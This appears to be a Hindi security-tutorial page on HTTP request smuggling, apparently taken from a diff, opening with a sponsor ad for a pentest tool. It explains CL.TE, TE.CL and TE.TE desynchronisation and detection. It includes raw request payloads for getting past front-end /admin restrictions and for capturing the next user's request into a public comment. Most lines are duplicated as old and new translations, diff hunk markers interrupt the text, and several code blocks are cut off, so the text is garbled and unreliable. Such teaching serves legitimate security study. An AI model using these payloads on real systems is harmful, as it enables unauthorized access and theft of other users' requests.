**वास्तविक व्यावसायिक प्रभाव के साथ महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह को मैप करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## क्या है
यह भेद्यता तब होती है जब **फ्रंट-एंड प्रॉक्सी** और **बैक-एंड** सर्वर के बीच एक **डिसिंक्रोनाइजेशन** एक **हमलावर** को एक HTTP **अनुरोध** **भेजने** की अनुमति देता है जो **फ्रंट-एंड** प्रॉक्सी द्वारा **एकल अनुरोध** के रूप में **व्याख्यायित** किया जाएगा (लोड बैलेंस/रिवर्स-प्रॉक्सी) और **बैक-एंड** सर्वर द्वारा **2 अनुरोध** के रूप में।\
यह एक उपयोगकर्ता को **उसके बाद बैक-एंड सर्वर पर आने वाले अगले अनुरोध को संशोधित करने** की अनुमति देता है।
यह कमजोरियां तब होती हैं जब **फ्रंट-एंड प्रॉक्सी** और **बैक-एंड** सर्वर के बीच एक **डिसिंक्रोनाइजेशन** एक **हमलावर** को एक HTTP **अनुरोध** **भेजने** की अनुमति देता है जिसे **फ्रंट-एंड** प्रॉक्सी (लोड बैलेंस/रिवर्स-प्रॉक्सी) द्वारा **एकल अनुरोध** के रूप में और **बैक-एंड** सर्वर द्वारा **2 अनुरोध** के रूप में **व्याख्यायित** किया जाएगा।\
यह एक उपयोगकर्ता को **अपने अनुरोध के बाद बैक-एंड सर्वर पर आने वाले अगले अनुरोध को संशोधित करने** की अनुमति देता है।
### सिद्धांत
[**RFC विनिर्देशन (2161)**](https://tools.ietf.org/html/rfc2616)
[**RFC स्पेसिफिकेशन (2161)**](https://tools.ietf.org/html/rfc2616)
> यदि एक संदेश दोनों एक Transfer-Encoding हेडर फ़ील्ड और एक Content-Length हेडर फ़ील्ड के साथ प्राप्त होता है, तो बाद वाले को अनदेखा किया जाना चाहिए।
> यदि एक संदेश को ट्रांसफर-एन्कोडिंग हेडर फ़ील्ड और कंटेंट-लेंथ हेडर फ़ील्ड दोनों के साथ प्राप्त किया जाता है, तो बाद वाले को अनदेखा किया जाना चाहिए।
**Content-Length**
**कंटेंट-लेंथ**
> Content-Length एंटिटी हेडर उस एंटिटी-शरीर के आकार को बाइट्स में इंगित करता है, जो प्राप्तकर्ता को भेजा गया है।
> कंटेंट-लेंथ एंटिटी हेडर उस एंटिटी-शरीर के आकार को बाइट्स में इंगित करता है, जो प्राप्तकर्ता को भेजा गया है।
**Transfer-Encoding: chunked**
**ट्रांसफर-एन्कोडिंग: चंकड**
> Transfer-Encoding हेडर उस एन्कोडिंग के रूप को निर्दिष्ट करता है जिसका उपयोग सुरक्षित रूप से पेलोड शरीर को उपयोगकर्ता तक पहुँचाने के लिए किया जाता है।\
> Chunked का अर्थ है कि बड़े डेटा को कई टुकड़ों में भेजा जाता है।
> ट्रांसफर-एन्कोडिंग हेडर उस एन्कोडिंग के रूप को निर्दिष्ट करता है जिसका उपयोग सुरक्षित रूप से पेलोड शरीर को उपयोगकर्ता तक पहुँचाने के लिए किया जाता है।\
> चंकड का अर्थ है कि बड़े डेटा को चंक्स की एक श्रृंखला में भेजा जाता है।
### वास्तविकता
**फ्रंट-एंड** (एक लोड-बैलेंस / रिवर्स प्रॉक्सी) _**content-length**_ या _**transfer-encoding**_ हेडर को **प्रोसेस** करता है और **बैक-एंड** सर्वर **दूसरे** को प्रोसेस करता है जिससे 2 सिस्टमों के बीच एक **डिसिंक्रोनाइजेशन** उत्पन्न होता है।\
यह बहुत महत्वपूर्ण हो सकता है क्योंकि **एक हमलावर एक अनुरोध भेजने में सक्षम होगा**ो रिवर्स प्रॉक्सी को **2 अलग-अलग अनुरोधों** के रूप में **बैक-एंड** सर्वर द्वारा **व्याख्यायित** किया जाएगा। इस तकनीक का **खतरा** इस तथ्य में निहित है कि **बैक-एंड** सर्वर **दूसरे अनुरोध को इंजेक्टेड** के रूप में **व्याख्यायित** करेगा जैसे कि यह **अगले क्लाइंट से आया** हो और उस क्लाइंट का **वास्तविक अनुरोध** **इंजेक्टेड अनुरोध** का **भाग** होगा।
**फ्रंट-एंड** (एक लोड-बैलेंस / रिवर्स प्रॉक्सी) _**कंटेंट-लेंथ**_ या _**ट्रांसफर-एन्कोडिंग**_ हेडर को प्रोसेस करता है और **बैक-एंड** सर्वर **दूसरे** को प्रोसेस करता है जिससे 2 सिस्टम के बीच एक **डिसिंक्रोनाइजेशन** उत्पन्न होता है।\
यह बहुत महत्वपूर्ण हो सकता है क्योंकि **एक हमलावर एक अनुरोध भेजने में सक्षम होगा**िसे रिवर्स प्रॉक्सी द्वारा **2 अलग-अलग अनुरोधों** के रूप में **व्याख्यायित** किया जाएगा। इस तकनीक का **खतरा** इस तथ्य में निहित है कि **बैक-एंड** सर्वर **दूसरे अनुरोध को इंजेक्टेड** के रूप में **व्याख्यायित** करेगा जैसे कि यह **अगले क्लाइंट** से **आया** हो और उस क्लाइंट का **वास्तविक अनुरोध** **इंजेक्टेड अनुरोध** का **भाग** होगा।
### विशेषताएँ
याद रखें कि HTTP में **एक नई पंक्ति का वर्ण 2 बाइट्स से बना होता है:**
* **Content-Length**: यह हेडर **अनुरोध के शरीर** के **बाइट्स** की **संख्या** को इंगित करने के लिए एक **दशमलव संख्या** का उपयोग करता है। शरीर को अंतिम वर्ण में समाप्त होने की उम्मीद है, **अनुरोध के अंत में एक नई पंक्ति की आवश्यकता नहीं है**
* **Transfer-Encoding:** यह हेडर **शरीर** में एक **हेक्साडेसिमल संख्या** का उपयोग करता है जो **अगले टुकड़े** के **बाइट्स** की **संख्या** को इंगित करता है। **टुकड़ा** को **नई पंक्ति** के साथ **समाप्त** होना चाहिए लेकिन यह नई पंक्ति **लंबाई संकेतक द्वारा नहीं गिनी जाती**। इस ट्रांसफर विधि को **0 आकार के टुकड़े के साथ समाप्त होना चाहिए जिसके बाद 2 नई पंक्तियाँ हों**: `0`
* **Connection**: मेरे अनुभव के आधार पर, अनुरोध स्मगलिंग के पहले अनुरोध पर **`Connection: keep-alive`** का उपयोग करने की सिफारिश की जाती है।
* **कंटेंट-लेंथ**: यह हेडर **बॉडी** के **बाइट्स** की **संख्या** को इंगित करने के लिए एक **दशमलव संख्या** का उपयोग करता है। बॉडी को अंतिम वर्ण में समाप्त होने की उम्मीद होती है, **अनुरोध के अंत में एक नई पंक्ति की आवश्यकता नहीं है**
* **ट्रांसफर-एन्कोडिंग:** यह हेडर **बॉडी** में एक **हेक्साडेसिमल संख्या** का उपयोग करता है जो **अगले चंक** के **बाइट्स** की **संख्या** को इंगित करता है। **चंक** को **नई पंक्ति** के साथ **समाप्त** होना चाहिए लेकिन यह नई पंक्ति **लंबाई संकेतक द्वारा नहीं गिनी जाती**। इस ट्रांसफर विधि को **0 आकार के चंक के साथ समाप्त होना चाहिए जिसके बाद 2 नई पंक्तियाँ हों**: `0`
* **कनेक्शन**: मेरे अनुभव के आधार पर, अनुरोध स्मगलिंग के पहले अनुरोध पर **`Connection: keep-alive`** का उपयोग करने की सिफारिश की जाती है।
## बुनियादी उदाहरण
{% hint style="success" %}
जब Burp Suite के साथ इसका शोषण करने की कोशिश कर रहे हं, तो **`Update Content-Length` और `Normalize HTTP/1 line endings`** को रिपीटर में बंद करें क्योंकि कुछ गैजेट नई पंक्तियों, कैरिज रिटर्न और गलत सामग्री-लंबाई का दुरुपयोग करते हैं।
जब आप इसे Burp Suite के साथ शोषण करने की कोशिश कर रहे हं, तो **`Update Content-Length` और `Normalize HTTP/1 line endings`** को रिपीटर में बंद करें क्योंकि कुछ गैजेट नई पंक्तियों, कैरिज रिटर्न और गलत कंटेंट-लेंथ का दुरुपयोग करते हैं।
{% endhint %}
HTTP अनुरोध स्मगलिंग हमले अस्पष्ट अनुरोध भेजकर तैयार किए जाते हैं जो `Content-Length` (CL) और `Transfer-Encoding` (TE) हेडरों की व्याख्या में फ्रंट-एंड और बैक-एंड सर्वरों के बीच असमानताओं का लाभ उठाते हैं। ये हमले विभिन्न रूपों में प्रकट हो सकते हैं, मुख्य रूप से **CL.TE**, **TE.CL**, और **TE.TE** के रूप में। प्रत्येक प्रकार उन हेडरों को प्राथमिकता देने के तरीके का एक अनूठा संयोजन दर्शाता है। भेद्यताएँ तब उत्पन्न होती हैं जब सर्वर एक ही अनुरोध को विभिन्न तरीकों से प्रोसेस करते हैं, जिससे अप्रत्याशित और संभावित रूप से दुर्भावनापूर्ण परिणाम होते हैं।
HTTP अनुरोध स्मगलिंग हमले अस्पष्ट अनुरोध भेजकर तैयार किए जाते हैं जो `Content-Length` (CL) और `Transfer-Encoding` (TE) हेडर को कैसे व्याख्यायित करते हैं, में भिन्नताओं का लाभ उठाते हैं। ये हमले विभिन्न रूपों में प्रकट हो सकते हैं, मुख्य रूप से **CL.TE**, **TE.CL**, और **TE.TE** के रूप में। प्रत्येक प्रकार उन हेडरों को प्राथमिकता देने के तरीके का एक अद्वितीय संयोजन दर्शाता है। कमजोरियाँ तब उत्पन्न होती हैं जब सर्वर एक ही अनुरोध को विभिन्न तरीकों से प्रोसेस करते हैं, जिससे अप्रत्याशित और संभावित रूप से दुर्भावनापूर्ण परिणाम होते हैं।
### भेद्यता प्रकारों के बुनियादी उदाहरण
### कमजोरियों के प्रकारों के बुनियादी उदाहरण
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
{% hint style="info" %}
पिछले तालिका में आपको TE.0 तकनीक जोड़नी चाहिए, जैसे CL.0 तकनीक लेकिन Transfer Encoding का उपयोग करते हुए।
पिछले तालिका में आपको TE.0 तकनीक जोड़नी चाहिए, जैसे CL.0 तकनीक लेकिन ट्रांसफर एन्कोडिंग का उपयोग करते हुए।
{% endhint %}
#### CL.TE भेद्यता (फ्रंट-एंड द्वारा Content-Length का उपयोग, बैक-एंड द्वारा Transfer-Encoding का उपयोग)
#### CL.TE कमजोरियाँ (फ्रंट-एंड द्वारा उपयोग किया गया कंटेंट-लेंथ, बैक-एंड द्वारा उपयोग किया गया ट्रांसफर-एन्कोडिंग)
* **फ्रंट-एंड (CL):** `Content-Length` हेडर के आधार पर अनुरोध को प्रोसेस करता है।
* **बैक-एंड (TE):** `Transfer-Encoding` हेडर के आधार पर अनुरोध को प्रोसेस करता है।
* **हमला परिदृश्य:**
* हमलावर एक अनुरोध भेजता है जहाँ `Content-Length` हेडर का मान वास्तविक सामग्री की लंबाई से मेल नहीं खाता।
* फ्रंट-एंड सर्वर `Content-Length` मान के आधार पर पूरे अनुरोध को बैक-एंड को अग्रेषित करता है।
* बैक-एंड सर्वर `Transfer-Encoding: chunked` हेडर के कारण अनुरोध को टुकड़ों के रूप में प्रोसेस करता है, शेष डेटा को एक अलग, अगला अनुरोध के रूप में व्याख्यायित करता है।
* बैक-एंड सर्वर `Transfer-Encoding: chunked` हेडर के कारण अनुरोध को चंकड के रूप में प्रोसेस करता है, शेष डेटा को एक अलग, बाद के अनुरोध के रूप में व्याख्यायित करता है।
* **उदाहरण:**
```
@ -87,14 +95,14 @@ GET /404 HTTP/1.1
Foo: x
```
#### TE.CL भेद्यता (फ्रंट-एंड द्वारा Transfer-Encoding का उपयोग, बैक-एंड द्वारा Content-Length का उपयोग)
#### TE.CL कमजोरियाँ (फ्रंट-एंड द्वारा उपयोग किया गया ट्रांसफर-एन्कोडिंग, बैक-एंड द्वारा उपयोग किया गया कंटेंट-लेंथ)
* **फ्रंट-एंड (TE):** `Transfer-Encoding` हेडर के आधार पर अनुरोध को प्रोसेस करता है।
* **बैक-एंड (CL):** `Content-Length` हेडर के आधार पर अनुरोध को प्रोसेस करता है।
* **हमला परिदृश्य:**
* हमलावर एक टुकड़ा अनुरोध भेजता है जहाँ टुकड़े का आकार (`7b`) और वास्तविक सामग्री की लंबाई (`Content-Length: 4`) मेल नहीं खाती।
* हमलावर एक चंकड अनुरोध भेजता है जहाँ चंक का आकार (`7b`) और वास्तविक सामग्री की लंबाई (`Content-Length: 4`) मेल नहीं खाती।
* फ्रंट-एंड सर्वर, `Transfer-Encoding` का सम्मान करते हुए, पूरे अनुरोध को बैक-एंड को अग्रेषित करता है।
* बैक-एंड सर्वर, `Content-Length` का सम्मान करते हुए, केवल अनुरोध के प्रारंभिक भाग (`7b` बाइट्स) को प्रोसेस करता है, शेष को एक अनपेक्षित अगला अनुरोध के भाग के रूप में छोड़ देता है।
* बैक-एंड सर्वर, `Content-Length` का सम्मान करते हुए, केवल अनुरोध के प्रारंभिक भाग (`7b` बाइट्स) को प्रोसेस करता है, शेष को एक अनपेक्षित बाद के अनुरोध के भाग के रूप में छोड़ देता है।
* **उदाहरण:**
```
@ -115,13 +123,13 @@ x=
```
#### TE.TE भेद्यता (दोनों द्वारा Transfer-Encoding का उपयोग, साथ में अस्पष्टता)
#### TE.TE कमजोरियाँ (दोनों द्वारा उपयोग किया गया ट्रांसफर-एन्कोडिंग, छिपाने के साथ)
* **सर्वर:** दोनों `Transfer-Encoding` का समर्थन करते हैं, लेकिन एक को अस्पष्टता के माध्यम से अनदेखा करने के लिए धोखा दिया जा सकता है।
* **सर्वर:** दोनों `Transfer-Encoding` का समर्थन करते हैं, लेकिन एक को छिपाने के माध्यम से अनदेखा करने के लिए धोखा दिया जा सकता है।
* **हमला परिदृश्य:**
* हमलावर अस्पष्ट `Transfer-Encoding` हेडरों के साथ एक अनुरोध भेजता है।
* जिस सर्वर (फ्रंट-एंड या बैक-एंड) ने अस्पष्टता को पहचानने में विफलता दिखाई, वहाँ CL.TE या TE.CL भेद्यता का लाभ उठाया जा सकता है।
* अनुरोध का अप्रसंस्कृत भाग, जैसा कि सर्वरों में से एक द्वारा देखा गया, एक अगला अनुरोध का भाग बन जाता है, जिससे स्मगलिंग होती है।
* हमलावर छिपाए गए `Transfer-Encoding` हेडर के साथ एक अनुरोध भेजता है।
* जिस सर्वर (फ्रंट-एंड या बैक-एंड) को छिपाने को पहचानने में विफलता होती है, उस पर CL.TE या TE.CL कमजोरियों का लाभ उठाया जा सकता है।
* अनुरोध का अप्रसंस्कृत भाग, जिसे एक सर्वर द्वारा देखा जाता है, एक बाद के अनुरोध का भाग बन जाता है, जिससे स्मगलिंग होती है।
* **उदाहरण:**
```
@ -141,7 +149,7 @@ Transfer-Encoding
: chunked
```
#### **CL.CL परिदृश्य (फ्रंट-एंड और बैक-एंड दोनों द्वारा Content-Length का उपयोग)**
#### **CL.CL परिदृश्य (फ्रंट-एंड और बैक-एंड दोनों द्वारा उपयोग किया गया कंटेंट-लेंथ)**
* दोनों सर्वर केवल `Content-Length` हेडर के आधार पर अनुरोध को प्रोसेस करते हैं।
* यह परिदृश्य आमतौर पर स्मगलिंग की ओर नहीं ले जाता है, क्योंकि दोनों सर्वरों के अनुरोध की लंबाई की व्याख्या में संरेखण होता है।
@ -197,7 +205,7 @@ EMPTY_LINE_HERE
यह तकनीक उन परिदृश्यों में भी उपयोगी है जहाँ **प्रारंभिक HTTP डेटा पढ़ते समय एक वेब सर्वर को तोड़ना संभव है** लेकिन **कनेक्शन को बंद किए बिना**। इस तरह, HTTP अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा।
उदाहरण के लिए, जैसा कि [**इस लेख**](https://mizu.re/post/twisty-python) में समझाया गया है, Werkzeug में कुछ **Unicode** वर्ण भेजना संभव था और इससे सर्वर **टूट** जाएगा। हालाँकि, यदि HTTP कनेक्शन **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा।
उदाहरण के लिए, जैसा कि [**इस लेख**](https://mizu.re/post/twisty-python) में समझाया गया है, Werkzeug में कुछ **Unicode** वर्ण भेजना संभव था और यह सर्वर को **तोड़** देगा। हालाँकि, यदि HTTP कनेक्शन **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा।
#### हॉप-बाय-हॉप हेडर के माध्यम से मजबूर करना
@ -234,7 +242,7 @@ A
```
* **अवलोकन:**
* फ्रंट-एंड सर्वर `Content-Length` के आधार पर अनुरोध को संसाधित करता है और संदेश को समय से पहले काट देता है।
* बैक-एंड सर्वर, जो एक चंक्ड संदेश की अपेक्षा करता है, अगले चंक की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
* बैक-एंड सर्वर, जो एक chunked संदेश की अपेक्षा कर रहा है, अगले chunk की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
* **संकेत:**
* प्रतिक्रिया में टाइमआउट या लंबी देरी।
* बैक-एंड सर्वर से 400 Bad Request त्रुटि प्राप्त करना, कभी-कभी विस्तृत सर्वर जानकारी के साथ।
@ -257,18 +265,18 @@ X
```
* **अवलोकन:**
* फ्रंट-एंड सर्वर `Transfer-Encoding` के आधार पर अनुरोध को संसाधित करता है और पूरे संदेश को अग्रेषित करता है।
* बैक-एंड सर्वर, जो `Content-Length` के आधार पर एक संदेश की अपेक्षा करा है, अतिरिक्त डेटा की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
* बैक-एंड सर्वर, जो `Content-Length` के आधार पर एक संदेश की अपेक्षा कर रहा है, अतिरिक्त डेटा की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
### कमजोरियों को खोजने के अन्य तरीके
* **डिफरेंशियल रिस्पॉन्स एनालिसिस:**
* **विभेदात्मक प्रतिक्रिया विश्लेषण:**
* एक अनुरोध के थोड़े भिन्न संस्करण भेजें और देखें कि क्या सर्वर की प्रतिक्रियाएँ अप्रत्याशित तरीके से भिन्न होती हैं, जो एक पार्सिंग विसंगति को इंगित करती हैं।
* **स्वचालित उपकरणों का उपयोग:**
* Burp Suite के 'HTTP Request Smuggler' एक्सटेंशन जैसे उपकरण स्वचालित रूप से इन कमजोरियों का परीक्षण कर सकते हैं, विभिन्न प्रकार के अस्पष्ट अनुरोध भेजकर और प्रतिक्रियाओं का विश्लेषण करके।
* **Content-Length वैरिएंस परीक्षण:**
* **Content-Length भिन्नता परीक्षण:**
* ऐसे अनुरोध भेजें जिनमें भिन्न `Content-Length` मान हों जो वास्तविक सामग्री की लंबाई के साथ मेल नहीं खाते और देखें कि सर्वर ऐसे असंगतियों को कैसे संभालता है।
* **Transfer-Encoding वैरिएंस परीक्षण:**
* अस्पष्ट या गलत `Transfer-Encoding` हेडर वाले अनुरोध भेजें और देखें कि फ्रंट-एंड और बैक-एंड सर्वर ऐसे हेरफेरों पर कैसे प्रतिक्रिया करते हैं।
* **Transfer-Encoding भिन्नता परीक्षण:**
* अस्पष्ट या गलत `Transfer-Encoding` हेडर वाले अनुरोध भेजें और देखें कि फ्रंट-एंड और बैक-एंड सर्वर ऐसे हेरफेरों पर कैसे भिन्न प्रतिक्रिया करते हैं।
### HTTP Request Smuggling Vulnerability Testing
@ -276,19 +284,19 @@ X
**मुख्य विचार**
अनुरोध स्मगलिंग कमजोरियों का परीक्षण करते समय अन्य अनुरोधों में हस्तक्षेप करते समय ध्यान में रखें:
अन्य अनुरोधों में हस्तक्षेप करके अनुरोध स्मगलिंग कमजोरियों का परीक्षण करते समय ध्यान में रखें:
* **अलग नेटवर्क कनेक्शन:** "हमला" और "सामान्य" अनुरोधों को अलग नेटवर्क कनेक्शनों के माध्यम से भेजा जाना चाहिए। दोनों के लिए एक ही कनेक्शन का उपयोग करना कमजोरियों की उपस्थिति को मान्य नहीं करता है।
* **संगत URL और पैरामीटर:** दोनों अनुरोधों के लिए समान URLs और पैरामीटर नामों का उपयोग करने का प्रयास करें। आधुनिक एप्लिकेशन अक्सर URL और पैरामीटर के आधार पर अनुरोधों को विशिष्ट बैक-एंड सर्वरों पर रूट करते हैं। इन्हें मेल करने से यह संभावना बढ़ती है कि दोनों अनुरोधों को एक ही सर्वर द्वारा संसाधित किया जाएगा, जो सफल हमले के लिए एक पूर्वापेक्षा है।
* **समय और रेसिंग स्थितियाँ:** "सामान्य" अनुरोध, जो "हमला" अनुरोध से हस्तक्षेप का पता लगाने के लिए है, अन्य समवर्ती एप्लिकेशन अनुरोधों के खिलाफ प्रतिस्पर्धा करता है। इसलिए, "हमला" अनुरोध के तुरंत बाद "सामान्य" अनुरोध भेजें। व्यस्त एप्लिकेशन के लिए निर्णायक कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता हो सकती है।
* **लोड बैलेंसिंग चुनौतियाँ:** फ्रंट-एंड सर्वर जो लोड बैलेंसर के रूप में कार्य करते हैं, अनुरोधों को विभिन्न बैक-एंड सिस्टमों में वितरित कर सकते हैं। यदि "हमला" और "सामान्य" अनुरोध विभिन्न सिस्टमों पर समाप्त होते हैं, तो हमला सफल नहीं होगा। यह लोड बैलेंसिंग पहलू कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता कर सकता है।
* **लोड संतुलन चुनौतियाँ:** फ्रंट-एंड सर्वर जो लोड बैलेंसर के रूप में कार्य करते हैं, विभिन्न बैक-एंड सिस्टमों में अनुरोधों को वितरित कर सकते हैं। यदि "हमला" और "सामान्य" अनुरोध विभिन्न सिस्टमों पर समाप्त होते हैं, तो हमला सफल नहीं होगा। यह लोड संतुलन पहलू कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता कर सकता है।
* **अनपेक्षित उपयोगकर्ता प्रभाव:** यदि आपका हमला अनजाने में किसी अन्य उपयोगकर्ता के अनुरोध (जो "सामान्य" अनुरोध नहीं है जिसे आपने पहचान के लिए भेजा था) को प्रभावित करता है, तो यह इंगित करता है कि आपका हमला किसी अन्य एप्लिकेशन उपयोगकर्ता को प्रभावित करता है। निरंतर परीक्षण अन्य उपयोगकर्ताओं को बाधित कर सकता है, जिससे एक सतर्क दृष्टिकोण की आवश्यकता होती है।
## HTTP Request Smuggling का दुरुपयोग
### HTTP Request Smuggling के माध्यम से फ्रंट-एंड सुरक्षा को दरकिनार करना
कभी-कभी, फ्रंट-एंड प्रॉक्सी सुरक्षा उपायों को लागू करती हैं, आने वाले अनुरोधों की जांच करती हैं। हालाँकि, इन उपायों को HTTP Request Smuggling का उपयोग करके दरकिनार किया जा सकता है, जिससे प्रतिबंधित एंडपॉइंट्स तक अनधिकृत पहुँच मिलती है। उदाहरण के लिए, `/admin` तक पहुँच बाहरी रूप से प्रतिबंधित हो सकती है, फ्रंट-एंड प्रॉक्सी सक्रिय रूप से ऐसे प्रयासों को रोकती है। फिर भी, यह प्रॉक्सी एक स्मगल्ड HTTP अनुरोध के भीतर एम्बेडेड अनुरोधों की जांच करने में विफल हो सकती है, जिससे इन प्रतिबंधों को दरकिनार करने के लिए एक छिद्र छोड़ दिया जाता है।
कभी-कभी, फ्रंट-एंड प्रॉक्सी सुरक्षा उपायों को लागू करती हैं, आने वाले अनुरोधों की जांच करती हैं। हालाँकि, इन उपायों को HTTP Request Smuggling का उपयोग करके दरकिनार किया जा सकता है, जिससे प्रतिबंधित एंडपॉइंट्स तक अनधिकृत पहुँच प्राप्त होती है। उदाहरण के लिए, `/admin` तक पहुँच बाहरी रूप से प्रतिबंधित हो सकती है, फ्रंट-एंड प्रॉक्सी सक्रिय रूप से ऐसे प्रयासों को रोकती है। फिर भी, यह प्रॉक्सी एक स्मगल्ड HTTP अनुरोध के भीतर एम्बेडेड अनुरोधों की जांच करने में विफल हो सकती है, जिससे इन प्रतिबंधों को दरकिनार करने के लिए एक छिद्र छोड़ दिया जाता है।
HTTP Request Smuggling का उपयोग करके फ्रंट-एंड सुरक्षा नियंत्रणों को दरकिनार करने के तरीके को दर्शाने वाले निम्नलिखित उदाहरणों पर विचार करें, विशेष रूप से `/admin` पथ को लक्षित करते हुए जो आमतौर पर फ्रंट-एंड प्रॉक्सी द्वारा संरक्षित होता है:
@ -311,7 +319,7 @@ x=
```
In CL.TE हमले में, प्रारंभिक अनुरोध के लिए `Content-Length` हेडर का उपयोग किया जाता है, जबकि बाद में एम्बेडेड अनुरोध `Transfer-Encoding: chunked` हेडर का उपयोग करता है। फ्रंट-एंड प्रॉक्सी प्रारंभिक `POST` अनुरोध को संसाधित करती है लेकिन एम्बेडेड `GET /admin` अनुरोध की जांच करने में विफल रहती है, जिससे `/admin` पथ तक अनधिकृत पहुंच की अनुमति मिलती है।
**TE.CL उदाहरण**
**TE.CL Example**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -333,7 +341,7 @@ a=x
ऐप्लिकेशन अक्सर एक **फ्रंट-एंड सर्वर** का उपयोग करते हैं ताकि आने वाले अनुरोधों को संशोधित किया जा सके इससे पहले कि उन्हें बैक-एंड सर्वर को भेजा जाए। एक सामान्य संशोधन में हेडर जोड़ना शामिल होता है, जैसे `X-Forwarded-For: <IP of the client>` ताकि क्लाइंट का IP बैक-एंड को भेजा जा सके। इन संशोधनों को समझना महत्वपूर्ण हो सकता है, क्योंकि यह **सुरक्षाओं को बायपास करने** या **छिपी हुई जानकारी या एंडपॉइंट्स को उजागर करने** के तरीके प्रकट कर सकता है।
यह जांचने के लिए कि प्रॉक्सी एक अनुरोध को कैसे बदलती है, एक POST पैरामीटर खोजें जिसे बैक-एंड प्रतिक्रिया में प्रतिध्वनित करता है। फिर, इस पैरामीटर का उपयोग करते हुए एक अनुरोध तैयार करें, इसे अंतिम स्थान पर रखते हुए, निम्नलिखित के समान:
यह जांचने के लिए कि प्रॉक्सी एक अनुरोध को कैसे बदलती है, एक POST पैरामीटर खोजें जिसे बैक-एंड प्रतिक्रिया में प्रतिध्वनित करता है। फिर, इस पैरामीटर का उपयोग करते हुए एक अनुरोध तैयार करें, इसे अंतिम में रखते हुए, निम्नलिखित के समान:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -354,15 +362,15 @@ search=
यह महत्वपूर्ण है कि नेस्टेड अनुरोध के `Content-Length` हेडर को वास्तविक सामग्री की लंबाई के साथ संरेखित किया जाए। छोटे मान से शुरू करना और धीरे-धीरे बढ़ाना सलाहकार है, क्योंकि बहुत कम मान परिलक्षित डेटा को काट देगा, जबकि बहुत उच्च मान अनुरोध को त्रुटि में डाल सकता है।
यह तकनीक TE.CL भेद्यता के संदर्भ में भी लागू होती है, लेकिन अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। नई लाइन के अक्षरों की परवाह किए बिना, मान खोज पैरामीटर में जोड़े जाएंगे।
यह तकनीक TE.CL भेद्यता के संदर्भ में भी लागू होती है, लेकिन अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। नई लाइन के वर्णों की परवाह किए बिना, मान खोज पैरामीटर में जोड़े जाएंगे।
यह विधि मुख्य रूप से फ्रंट-एंड प्रॉक्सी द्वारा किए गए अनुरोध संशोधनों को समझने के लिए है, जो मूल रूप से एक आत्म-निर्देशित जांच कर रही है।
यह विधि मुख्य रूप से फ्रंट-एंड प्रॉक्सी द्वारा किए गए अनुरोध परिवर्तनों को समझने के लिए है, जो मूल रूप से एक आत्म-निर्देशित जांच कर रही है।
### अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करना <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
यह अगले उपयोगकर्ता के अनुरोधों को कैप्चर करना संभव है, एक POST ऑपरेशन के दौरान एक पैरामीटर के मान के रूप में एक विशिष्ट अनुरोध को जोड़कर। इसे इस प्रकार किया जा सकता है:
निम्नलिखित अनुरोध को एक पैरामीटर के मान के रूप में जोड़कर, आप अगले क्लाइंट के अनुरोध को स्टोर कर सकते हैं:
एक पैरामीटर के मान के रूप में निम्नलिखित अनुरोध को जोड़कर, आप अगले क्लाइंट के अनुरोध को स्टोर कर सकते हैं:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -384,7 +392,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
```
इस परिदृश्य में, **comment parameter** का उद्देश्य एक सार्वजनिक रूप से सुलभ पृष्ठ पर एक पोस्ट की टिप्पणी अनुभाग में सामग्री को संग्रहीत करना है। परिणामस्वरूप, अगले अनुरोध की सामग्री एक टिप्पणी के रूप में दिखाई देगी।
हालांकि, इस तकनीक की सीमाएँ हैं। सामान्यतः, यह केवल उस पैरामीटर डेलिमिटर तक डेटा कैप्चर करता है जो स्मगल्ड अनुरोध में उपयोग किया जाता है। URL-encoded फॉर्म सबमिशन के लिए, यह डेलिमिटर `&` वर्ण है। इसका मतलब है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर की गई सामग्री पहले `&` पर रुक जाएगी, जो कि क्वेरी स्ट्रिंग का हिस्सा भी हो सकता है।
